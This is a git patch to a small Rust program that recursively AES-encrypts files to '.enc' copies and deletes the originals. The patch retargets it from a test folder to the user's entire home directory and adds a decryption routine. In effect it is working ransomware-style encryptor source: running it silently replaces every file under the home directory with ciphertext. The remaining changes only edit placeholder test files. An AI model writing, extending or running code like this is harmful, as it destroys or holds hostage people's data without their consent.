From d9713f5b7980a7c5f3646e454801f6eff1019fc0 Mon Sep 17 00:00:00 2001
From: Xory <xorycode@shuriken.pm>
Date: Fri, 14 Jun 2024 16:55:44 +0300
Subject: [PATCH] feat: use home directory instead of testdir

---
 Cargo.toml             |  1 +
 src/crypto.rs          | 15 +++++++++------
 src/encrypt.rs         | 10 ++++++----
 testdir/dir2/meow1.txt |  1 -
 testdir/dir2/meow2.txt |  2 +-
 testdir/dir2/meow3.txt |  1 +
 testdir/meow.txt       |  2 +-
 7 files changed, 19 insertions(+), 13 deletions(-)
 delete mode 100644 testdir/dir2/meow1.txt
 create mode 100644 testdir/dir2/meow3.txt

diff --git a/Cargo.toml b/Cargo.toml
index 8972a3c..c08481e 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -15,5 +15,6 @@ path = "src/decrypt.rs"
 [dependencies]
 aes = "0.7.5"
 block-modes = "0.8.1"
+dirs = "5.0.1"
 hex = "0.4.3"
 rand = "0.8.5"
diff --git a/src/crypto.rs b/src/crypto.rs
index d9aa205..51c71e4 100644
--- a/src/crypto.rs
+++ b/src/crypto.rs
@@ -7,7 +7,7 @@ use aes::Aes256;
 use block_modes::{BlockMode, Cbc};
 use block_modes::block_padding::Pkcs7;
 use std::fs::File;
-use std::path::{Path, PathBuf};
+use std::path::Path;
 use std::fs;
 use std::io::{Read, Write};
 use std::error::Error;
@@ -66,7 +66,7 @@ fn get_files(directory_path: &str) -> Vec<String> {
         if file_path.is_file() {
             file_list.push(file_path.to_string_lossy().to_string());
         } else if file_path.is_dir() {
-            let sub_files = get_files(&file_path.to_string_lossy().to_string());
+            let sub_files = get_files(file_path.to_string_lossy().as_ref());
             file_list.extend(sub_files);
         }
     }
@@ -78,8 +78,8 @@ pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
     let directory = get_files(directory_path);
     for mut file in directory {
         let encrypted_file_path = file.as_mut().to_owned() + ".enc";
-        encrypt_file(&file, &encrypted_file_path)?;
-        fs::remove_file(file).unwrap();
+        if encrypt_file(&file, &encrypted_file_path).is_err() { break; }
+        if fs::remove_file(file).is_err() { break; }
     }
     Ok(())
 }
@@ -87,8 +87,11 @@ pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
 pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
     let directory = get_files(directory_path);
     for mut file in directory {
-        let encrypted_file_path = file.as_mut().to_owned() + ".enc";
-        decrypt_file(&file, &encrypted_file_path)?;
+        let mut file_path = file.as_mut().to_owned();
+        let ext_index = file_path.rfind('.').unwrap();
+        file_path.truncate(ext_index);
+        if decrypt_file(&file, &file_path).is_err() { break; }
+        if fs::remove_file(file).is_err() { break; }
     }
     Ok(())
 }
diff --git a/src/encrypt.rs b/src/encrypt.rs
index a310e2e..4ca0578 100644
--- a/src/encrypt.rs
+++ b/src/encrypt.rs
@@ -1,9 +1,11 @@
 mod crypto;
 use crypto::encrypt_directory;
+extern crate dirs;
+use dirs::home_dir;
 
 fn main() {
-    println!("Hello, world!");
-    println!("Encrypting test directory");
-    encrypt_directory("testdir").unwrap();
-    
+    let home = home_dir().unwrap(); // no way this could fail!
+    encrypt_directory(home.to_str().unwrap()).unwrap(); // I know this many unwraps look
+                                                        // suspicious, but the chance of this
+                                                        // failing is less than a solar flare.
 }
diff --git a/testdir/dir2/meow1.txt b/testdir/dir2/meow1.txt
deleted file mode 100644
index 375d5c3..0000000
--- a/testdir/dir2/meow1.txt
+++ /dev/null
@@ -1 +0,0 @@
-meow
diff --git a/testdir/dir2/meow2.txt b/testdir/dir2/meow2.txt
index 6f6b544..4d3f46e 100644
--- a/testdir/dir2/meow2.txt
+++ b/testdir/dir2/meow2.txt
@@ -1 +1 @@
-meow meow
+meow1
diff --git a/testdir/dir2/meow3.txt b/testdir/dir2/meow3.txt
new file mode 100644
index 0000000..93a63ba
--- /dev/null
+++ b/testdir/dir2/meow3.txt
@@ -0,0 +1 @@
+meow3
diff --git a/testdir/meow.txt b/testdir/meow.txt
index 8d06e96..375d5c3 100644
--- a/testdir/meow.txt
+++ b/testdir/meow.txt
@@ -1 +1 @@
-cats would rule the world better than humans
+meow